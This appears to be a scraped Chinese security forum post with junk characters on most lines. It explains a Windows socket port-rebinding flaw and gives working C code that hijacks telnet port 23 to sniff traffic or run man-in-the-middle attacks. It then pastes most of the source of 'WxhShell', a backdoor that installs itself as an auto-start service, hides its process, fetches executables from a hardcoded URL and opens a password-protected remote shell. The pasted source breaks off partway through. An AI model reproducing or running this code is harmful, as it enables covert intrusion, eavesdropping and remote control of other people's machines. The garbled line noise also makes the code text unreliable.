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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J-\b?R a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8{d`N|k  
T-5T`awf  
  saddr.sin_family = AF_INET; >StvP=our  
1eb1Lvn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =,0E3:X^  
5<#H=A~(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?W(wtp,o  
wh~~g qi9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m?M(79u[  
|]m&LC  
  这意味着什么?意味着可以进行如下的攻击: 5T8!5EcS*  
DF&C7+hO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 01w=;Q  
;UWdT]>!?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nt5 ~"8  
BO{J{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {yG)Ii  
8D+OF 6CM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a)Wf* <B  
[e&$4l IS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 slPFDBx  
Pq_Il9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4Y)3<=kDG  
k| jC c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4&$G;?#W2  
b1 KiO2 E  
  #include A: @=?(lI3  
  #include OI`Lb\8pP  
  #include @9c^{x\4  
  #include    Ok*:;G@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L g%cVSz/C  
  int main() e=F' O] 5  
  { H-rf?R2  
  WORD wVersionRequested; *2>%>qu  
  DWORD ret; s]2k@3|e  
  WSADATA wsaData; uvmNQg  
  BOOL val; +h9CcBd  
  SOCKADDR_IN saddr; Ak9W8Z}  
  SOCKADDR_IN scaddr; 4ErDGYg}  
  int err; }e@j(*8  
  SOCKET s; _6(zG.Fg  
  SOCKET sc; {+r?g J  
  int caddsize; \|T0@V  
  HANDLE mt; -l,ib=ne  
  DWORD tid;   ,-{j.  
  wVersionRequested = MAKEWORD( 2, 2 ); s!+?) bB  
  err = WSAStartup( wVersionRequested, &wsaData ); lI5{]?'  
  if ( err != 0 ) { S`*al<m  
  printf("error!WSAStartup failed!\n"); 5Y,e}+I>  
  return -1; F]ALZxwkz  
  } E|5gKp-wJ  
  saddr.sin_family = AF_INET; ]#*@<T*[  
   ~ R*6w($  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TY88PXW  
|Y])|`_'G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2cmqtlW"  
  saddr.sin_port = htons(23); <"\K|2Sg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) APLu?wy7s5  
  { +ATN2 o  
  printf("error!socket failed!\n"); .:lzT"QXI  
  return -1; wZOO#&X#r  
  } 10 p+e_@  
  val = TRUE; 5-C6;7%:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7'&Xg_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  !c*^:0  
  { {?j|]j  
  printf("error!setsockopt failed!\n"); iYnw?4Y  
  return -1; Y&&Y:+ V  
  } ! 4s $ 93  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \XpPb{:>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D&oC1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @RnGK 5  
@L~y%#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hwXp=not(  
  { R UX  
  ret=GetLastError(); @lmke>  
  printf("error!bind failed!\n"); !W3Le$aL  
  return -1; -bj1y2)n  
  } / _cOg? o  
  listen(s,2);  Et- .[  
  while(1) HQE#O4  
  { ,Tr12#D:  
  caddsize = sizeof(scaddr); n;q7? KW8  
  //接受连接请求 /g8yc'{p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^|x{E20  
  if(sc!=INVALID_SOCKET) =_wgKXBFa  
  { lLg23k{'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yV]-![`D  
  if(mt==NULL) 2.NzB7c*CM  
  { (ncfR  
  printf("Thread Creat Failed!\n"); T2Vj &EA@  
  break; )kd)v4#  
  } %r>vZ/>a  
  } w?5b:W,  
  CloseHandle(mt); /vQ^>2X%  
  } |Jq/kmn  
  closesocket(s); >kB?C!\  
  WSACleanup(); Ti'O 2k  
  return 0; ck@[% ?  
  }   oOD|FrlY  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5q) Eed  
  { {<]abO  
  SOCKET ss = (SOCKET)lpParam; :WxMv~e{U  
  SOCKET sc; RSnK`N\9jb  
  unsigned char buf[4096]; /stED{j,  
  SOCKADDR_IN saddr; }5]NUxQ_  
  long num; *i n_Z t3  
  DWORD val; HK-?<$Yc  
  DWORD ret; JZ<O-G+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @vv`86bm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !BY=HFT  
  saddr.sin_family = AF_INET; 6-JnT_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iFHVr'Og'  
  saddr.sin_port = htons(23); $:xUXEi{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S\ li<xl  
  { Dho~6K }"  
  printf("error!socket failed!\n"); &/ zs Ix+  
  return -1; xp39TiXJ*  
  } 0qTa @y  
  val = 100; 'Gc6ZSLM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~bwFQYY=  
  { 8=SNLO  
  ret = GetLastError(); Xr~r`bR=  
  return -1; o2.! G  
  } MdyH/.Te  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :,7VqCh3@  
  { K E^_09  
  ret = GetLastError(); i'57|;?  
  return -1; {66vdAu&h<  
  } "RG.vo7b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b&e? 6h^G  
  { z* `81  
  printf("error!socket connect failed!\n"); XRz.R/  
  closesocket(sc); lz>5bR'  
  closesocket(ss); +&t{IP(?  
  return -1; ?ph"|LyL  
  } MKH7d/x  
  while(1) '1mygplW  
  { &?9.Y,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @9L%`=]b^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WL7:22nSHa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jne)?Gt  
  num = recv(ss,buf,4096,0); p*N+B o  
  if(num>0) !^N/n5eoz  
  send(sc,buf,num,0); !#X^nlc  
  else if(num==0) > W0hrt?b  
  break; ~{N|("nB  
  num = recv(sc,buf,4096,0); MBg^U<t8  
  if(num>0) t,H,*2  
  send(ss,buf,num,0); 5i#B?+Y  
  else if(num==0) `S.;&%B\  
  break; qD9B[s8  
  } CtE".UlCA  
  closesocket(ss); *Lufz-[1  
  closesocket(sc); ; lK2]  
  return 0 ; Gis'IX(  
  } d }]b  
8ZahpB  
P(Lwpa,S  
========================================================== %+'&$  
~PV>3c3l=  
下边附上一个代码,,WXhSHELL AUN Tc3  
R `'@$"  
========================================================== Y /w vn8~C  
D@3|nS  
#include "stdafx.h" gNO$WY^  
Llzowlfe  
#include <stdio.h> 6 HEl1FK{@  
#include <string.h> QKF2_Acc   
#include <windows.h> ,%:`Ll t]$  
#include <winsock2.h> |e\:0O?  
#include <winsvc.h> A,iXiDb3pK  
#include <urlmon.h> [0rG"$(0Y  
w%$n)7<*  
#pragma comment (lib, "Ws2_32.lib") vi=yR  
#pragma comment (lib, "urlmon.lib") O_:Q#  
bM!`C|,[s  
#define MAX_USER   100 // 最大客户端连接数 o3`Z@-.G  
#define BUF_SOCK   200 // sock buffer +\E\&^ZQ  
#define KEY_BUFF   255 // 输入 buffer BujWql  
TLkkB09fvk  
#define REBOOT     0   // 重启 )dvOg'it  
#define SHUTDOWN   1   // 关机 x~mXtqg  
%?cPqRHJ ~  
#define DEF_PORT   5000 // 监听端口 "JGaw_o  
bhgh ]{  
#define REG_LEN     16   // 注册表键长度 8(+X0}  
#define SVC_LEN     80   // NT服务名长度 Psv-y  
)/=J=xw2  
// 从dll定义API Cz(PjS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R52!pB0[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eod2vr =Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oL~Yrb%R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,`wxXU7  
"y`?KY$[N  
// wxhshell配置信息 tF'67,~W  
struct WSCFG { vXf#gX!Y  
  int ws_port;         // 监听端口 .5T7O_%FP  
  char ws_passstr[REG_LEN]; // 口令 X(1.Hjh  
  int ws_autoins;       // 安装标记, 1=yes 0=no _l  Jj6=  
  char ws_regname[REG_LEN]; // 注册表键名 WRnUF[y+)  
  char ws_svcname[REG_LEN]; // 服务名 BE U[M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >y=%o~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w8on3f;6n#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UC0 yrV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #2dmki"~(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G'bp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4gZN~_AI<  
DQRt\!  
}; ' ZB%McS  
0q3 :"X  
// default Wxhshell configuration <9Chkb|B  
struct WSCFG wscfg={DEF_PORT,  Ne4A  
    "xuhuanlingzhe", ^.4<#Qs  
    1, :')<|(Zy  
    "Wxhshell", D?E5p.!A  
    "Wxhshell", Wl,yznT  
            "WxhShell Service", S }|ea2  
    "Wrsky Windows CmdShell Service", >SzTZ3!E  
    "Please Input Your Password: ", *7Mrng  
  1, II2oV}7?  
  "http://www.wrsky.com/wxhshell.exe", ;S%wPXj&  
  "Wxhshell.exe" :r6 bw  
    }; >,y QG+  
c[YC}@l%a  
// 消息定义模块 X ak~He  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {Cd*y6lI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LO2sP"9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >!wwXhH(  
char *msg_ws_ext="\n\rExit."; $L&*0$[]Q  
char *msg_ws_end="\n\rQuit."; [m"X*Z F  
char *msg_ws_boot="\n\rReboot..."; .c',?[S/vH  
char *msg_ws_poff="\n\rShutdown..."; ePF9Vzq  
char *msg_ws_down="\n\rSave to "; f"-?%I*'  
;CC[>  
char *msg_ws_err="\n\rErr!"; 8?(4E 'vf  
char *msg_ws_ok="\n\rOK!"; }{ P}P}  
Rw7Q[I5z%  
char ExeFile[MAX_PATH]; w?R6$n`  
int nUser = 0; 4f1*?HX&  
HANDLE handles[MAX_USER]; !nd*U}q  
int OsIsNt; RS93_F8   
"'8$hV65.p  
SERVICE_STATUS       serviceStatus; vbWX`skU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;^xku%u  
=EG[_i{r  
// 函数声明 CR _A{(  
int Install(void); d2(n3Xf  
int Uninstall(void); 2 o.Mh/D0  
int DownloadFile(char *sURL, SOCKET wsh); KSexG:Xb  
int Boot(int flag); $`riB$v  
void HideProc(void); ^ yfT7050  
int GetOsVer(void); ](O!6_'d  
int Wxhshell(SOCKET wsl); D4S>Pkv  
void TalkWithClient(void *cs); %++q+pa  
int CmdShell(SOCKET sock); ;TR.UUT  
int StartFromService(void); a7CJ~8-1K  
int StartWxhshell(LPSTR lpCmdLine); ^ o{O5&i]  
4~ iKo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V^Nc0r   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "B\qp"N  
lKa}Bcd  
// 数据结构和表定义 v<c8qg  
SERVICE_TABLE_ENTRY DispatchTable[] = } o=g)  
{ )QKZI))G0  
{wscfg.ws_svcname, NTServiceMain}, rj6wKf z  
{NULL, NULL} 0)nU[CY  
}; )cvC9gt  
+Oxl1fDf  
// 自我安装 P3:hGmk8|j  
int Install(void) *v&g>Ni  
{ Z)ObFJMG5  
  char svExeFile[MAX_PATH]; y)=Xo7j  
  HKEY key; D,R/abYZH  
  strcpy(svExeFile,ExeFile); ){,8}(|  
0>AA-~=-  
// 如果是win9x系统,修改注册表设为自启动 eHv/3"Og  
if(!OsIsNt) { ^y?? pp<1J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5ecqJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uh GL1{  
  RegCloseKey(key); k muF*0Bjk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g.veHh|;_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w+JDu_9+A]  
  RegCloseKey(key); JU~l  
  return 0; {% ;tN`{M  
    } {?t=*l\S{w  
  } V43 |Ej}E  
} u6D>^qF}@'  
else { VbZZ=q=Kd  
:*\JJ w  
// 如果是NT以上系统,安装为系统服务 ?{+}gS^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1_F2{n:yp  
if (schSCManager!=0) x&kF;UC  
{ Wx^L~[l  
  SC_HANDLE schService = CreateService BK-{z).)  
  ( 2"13!s  
  schSCManager, 'Yj/M  
  wscfg.ws_svcname, UGAP$_j ]P  
  wscfg.ws_svcdisp, d#A.A<p*  
  SERVICE_ALL_ACCESS, m. XLpD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xp%JPI {  
  SERVICE_AUTO_START, RCsd  
  SERVICE_ERROR_NORMAL, +H+OYQ>^  
  svExeFile, 9/0<Z_b2  
  NULL, [5,#p$R  
  NULL, $L3UDX+F  
  NULL, k/*r2 C  
  NULL, g<tr |n  
  NULL Y>IEB,w  
  ); jy6% CSWQ  
  if (schService!=0) \# #~Tq  
  { 3p")  
  CloseServiceHandle(schService); 0dXWy`Mn  
  CloseServiceHandle(schSCManager); XC~|{d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mgg/i@(  
  strcat(svExeFile,wscfg.ws_svcname); 0*+i~g,Kl@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g_-Y- .M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sv =6?uYW  
  RegCloseKey(key); [ibnI2I]`  
  return 0; Q xKC5`1  
    } hg |DpP  
  } 2y,f  
  CloseServiceHandle(schSCManager); yv&&x.!.Z  
} rZ *}jD[  
} !hEt UF  
l+RBe<Mq  
return 1; (rvK@  
} +1_NB;,e  
"*<9)vQ6|  
// 自我卸载 s<aJ pi{n4  
int Uninstall(void) $(G.P!/  
{ }ob#LC,  
  HKEY key; EW|bs#l  
QYDSE  
if(!OsIsNt) { fyh9U_M);w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |&3[YZY  
  RegDeleteValue(key,wscfg.ws_regname); y&UcTE2;%(  
  RegCloseKey(key); N<9C V!_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R9^Vk*`gFU  
  RegDeleteValue(key,wscfg.ws_regname); RYy_Ppn96f  
  RegCloseKey(key); e'p'{]r<w  
  return 0; l7nc8K  
  } 6gNsh  
} 3N[t2Y1r  
} FG:(H0  
else { G-~+FnUC  
8-+Ce;h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]haZT\  
if (schSCManager!=0) %?^IS&]Z  
{ }[\l$sS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }e  s  
  if (schService!=0) UXvUU^k"v  
  { t*iKkV^aE  
  if(DeleteService(schService)!=0) { B!4chxzUZ  
  CloseServiceHandle(schService); ( hp 52Vse  
  CloseServiceHandle(schSCManager); UBLr|e>dQE  
  return 0; lmf vT}$B  
  } GU([A@;  
  CloseServiceHandle(schService); zT 9"B  
  } 7'LKyy !"3  
  CloseServiceHandle(schSCManager); WRe9ki=R  
} % tTL  
} Q9Sh2qF^2  
")}^\O m  
return 1; Uf4A9$R.G  
} >^=up f/  
'pa[z5{k+  
// 从指定url下载文件 ;p)RMRMg  
int DownloadFile(char *sURL, SOCKET wsh) 3MH9%*w'0  
{ Zi/ tax9C  
  HRESULT hr; u $O` \=  
char seps[]= "/"; *c3(,Bmw  
char *token; 5_!s\5  
char *file; =^\yE"a  
char myURL[MAX_PATH]; MAb*4e#  
char myFILE[MAX_PATH]; x-1RmL_%  
 qr~P$  
strcpy(myURL,sURL); Jz<-B  
  token=strtok(myURL,seps); G)t_;iNL|  
  while(token!=NULL) o<cg9  
  { 1DLAfsLlj  
    file=token; 6V-u<FJ  
  token=strtok(NULL,seps); H65><38X/  
  } >pdWR1ox  
`\_>P@qz  
GetCurrentDirectory(MAX_PATH,myFILE); M#Kke9%2  
strcat(myFILE, "\\"); nvY%{Zf$}  
strcat(myFILE, file); \MI2^J N  
  send(wsh,myFILE,strlen(myFILE),0); j*Uz.q?  
send(wsh,"...",3,0); 69N/_V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >xsbXQ>.  
  if(hr==S_OK) 41Ga-0p  
return 0; <hkSbJF  
else ]ie38tX$  
return 1; F#-mseKhc  
",O |uL  
} >8M=RE n4  
Bie#GKc  
// 系统电源模块 =>3wI'I  
int Boot(int flag) # 0kVhx7%  
{ Is&0h|  
  HANDLE hToken; 0gTv:1F /  
  TOKEN_PRIVILEGES tkp; Rxb?SBa  
3u[m? Vw  
  if(OsIsNt) { r ]s7a?O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3EkCM_]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5ir Ffr  
    tkp.PrivilegeCount = 1; L)(JaZyV5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1V ,Mk#_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7M8oI.?C|  
if(flag==REBOOT) { yzyBr1s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RD6n1Wb(@  
  return 0;  R.x^  
} Y=83r]%  
else { nSy{ {d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RISDjU3  
  return 0; F+@/"1c  
} 8FT]B/^&m  
  } {&dbxj-'  
  else { "%peYNZ&%  
if(flag==REBOOT) { \3"jW1Wb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NTWy1  
  return 0; aC90IJ8^  
} P K+rr.k]  
else { u}r>?/V!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @6lw_E_5  
  return 0; *qa.hqas  
} S4 j5-  
} U1ZKJ<pv  
%cO^:  
return 1; 7F5v-/  
} f`<elWgc"  
2x5^kN7  
// win9x进程隐藏模块 ~%chF/H  
void HideProc(void) _"%hcCMw  
{ d4~;!#<  
- f?8O6e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XQ3"+M_KG  
  if ( hKernel != NULL ) ]J1oY]2~  
  { |l CS^bA3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5bB\i79$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &x9>8~   
    FreeLibrary(hKernel); 9| g]M:{  
  } 'GI| t  
m>{a<N  
return; -=cxUDB  
} TUBpRABH  
{=%,NwPs  
// 获取操作系统版本 a`e'HQ  
int GetOsVer(void) Wu~cy}\  
{ K<rv|bJ  
  OSVERSIONINFO winfo; ;A6%YY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,xw1B-dx  
  GetVersionEx(&winfo); Tbp;xv_qo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *z'v  
  return 1; WKAG)4  
  else T>hrKn.!D:  
  return 0; aPdEEqc\l  
} {j6$'v)0  
3Ofh#|qc&  
// 客户端句柄模块 bey:Qj??  
int Wxhshell(SOCKET wsl) A` ~R\j  
{ v<@3&bot  
  SOCKET wsh; 1=Kt.tuf  
  struct sockaddr_in client; $Ge0<6/  
  DWORD myID; b>-h4{B[  
9a2[_Wy  
  while(nUser<MAX_USER) #iKPp0`K*  
{ 7@&mGUALO  
  int nSize=sizeof(client); 9^u}~e #(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0tz? sN  
  if(wsh==INVALID_SOCKET) return 1; /a*8z,x  
.p =OAh<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~GE|,Np  
if(handles[nUser]==0) Ay7PU  
  closesocket(wsh); |<Y~\ |  
else p/yz`m T'w  
  nUser++; w@"Zjbs`  
  } {,!!jeOO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); - {}(U  
]=o1to-  
  return 0; L +mE&  
} 6FYL},.R  
&OlX CxH  
// 关闭 socket =xQPg0g  
void CloseIt(SOCKET wsh) /mA\)TL|]  
{ -^)<FY\  
closesocket(wsh); <&^[?FdAa  
nUser--; Im?/#tX  
ExitThread(0); k8\ KCKql  
} XuWX@cK  
.]H/u "d  
// 客户端请求句柄 %+ nM4)h  
void TalkWithClient(void *cs) M]|]b-#  
{ Y<IuwS  
Ee_?aG e&  
  SOCKET wsh=(SOCKET)cs; : t9sAD  
  char pwd[SVC_LEN]; ?V}ub>J/=  
  char cmd[KEY_BUFF]; -X_\3J  
char chr[1]; _&(L{cFx6  
int i,j; T6b~uE  
7;c^*"Ud  
  while (nUser < MAX_USER) { a"i(.(9$J  
9@ 4]t6h[  
if(wscfg.ws_passstr) { x+DETRLP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;GE6S{~-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d U*$V7  
  //ZeroMemory(pwd,KEY_BUFF); \!hd|j?&6  
      i=0; -Bq]E,Xf)  
  while(i<SVC_LEN) { x ;~;Ah.p  
;HBKOe_3  
  // 设置超时 a x)J!I18  
  fd_set FdRead; pTaC$Ne  
  struct timeval TimeOut; y4! :l=E^  
  FD_ZERO(&FdRead); M,W-,l ]  
  FD_SET(wsh,&FdRead); xQ';$&  
  TimeOut.tv_sec=8; MQDLC7Y.p5  
  TimeOut.tv_usec=0; 7O8 @T-f+2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $}IG+ ,L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2 FoLJ  
^62z\Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E7i/gY  
  pwd=chr[0]; l-cBN^^  
  if(chr[0]==0xd || chr[0]==0xa) { p Hx$  
  pwd=0; H "Io!{aKU  
  break; \crh`~?>  
  } j\wZjc-j  
  i++; p0y|pD  
    } $tF\7.e@  
~3-"1E>Rgy  
  // 如果是非法用户,关闭 socket t^Lb}A#$4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C:t?HLY)fG  
} *|j4>W\J  
m]*a;a'}#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Niu |M@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N p*T[J  
vz#-uw,O:  
while(1) { HL]J=Gh  
pacD7'1{  
  ZeroMemory(cmd,KEY_BUFF); Pr>05lg  
=f H5 r_n  
      // 自动支持客户端 telnet标准   BeLqk3'/  
  j=0; bI3GI:hp  
  while(j<KEY_BUFF) { i#^YQCy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GLESngAl  
  cmd[j]=chr[0]; .#Nf0  
  if(chr[0]==0xa || chr[0]==0xd) { E|>-7k")  
  cmd[j]=0; 8ki3>"!A  
  break; mR|5$1[b  
  } 4!OGNr$V@  
  j++; wfe4b  
    } w N`Nj m9!  
FfxD=\  
  // 下载文件 &SPY'GQ!  
  if(strstr(cmd,"http://")) { gvc/Z <Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +}1zw<  
  if(DownloadFile(cmd,wsh)) mI{Fs|9h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JWaWOk(t=?  
  else '^C *%"I]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { `Z~T&}~T  
  } <"6\\#}VG  
  else { h)fsLzn]Tf  
<,0/BMz  
    switch(cmd[0]) { v&(=^A\eN  
  >&:}L%  
  // 帮助 L1I1SFG  
  case '?': { YlUh|sK7m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B6;>V`!  
    break; d(XOZF  
  } _&\'Va$  
  // 安装 QcX\z\'vg  
  case 'i': { s3m \  
    if(Install()) :!Dm,PP%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^&C/,,U  
    else Y>/_A%vQU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T n/Zs|  
    break; RM,aG}6M)M  
    } tFc<f7k  
  // 卸载 ]LZ#[xnM7  
  case 'r': { R) :Xs .  
    if(Uninstall()) *k;bkd4x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +6l#hO7h  
    else P_0[spmFU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GDC@s<[k  
    break; @[?ZwzY:9  
    } j0X^,ot@m  
  // 显示 wxhshell 所在路径 F .Zk};lb  
  case 'p': { [zm@hxym  
    char svExeFile[MAX_PATH]; kaQNcMcq  
    strcpy(svExeFile,"\n\r"); uF|_6~g  
      strcat(svExeFile,ExeFile); i/n ee_  
        send(wsh,svExeFile,strlen(svExeFile),0); *k_<|{>j(  
    break; Nu?A>Q  
    } %*!6R:gAp  
  // 重启 G1w$lc  
  case 'b': { AaxQBTB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ub fh4  
    if(Boot(REBOOT)) ^^7@kh mNl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mD.6cV  
    else { {]8|\CcY?  
    closesocket(wsh); $#+D:W)az  
    ExitThread(0); 7g]mrI@  
    } (yi zM  
    break; P*?|E@;s`  
    } WA1d8nl  
  // 关机 =No#/_  
  case 'd': { ~GX ]K H  
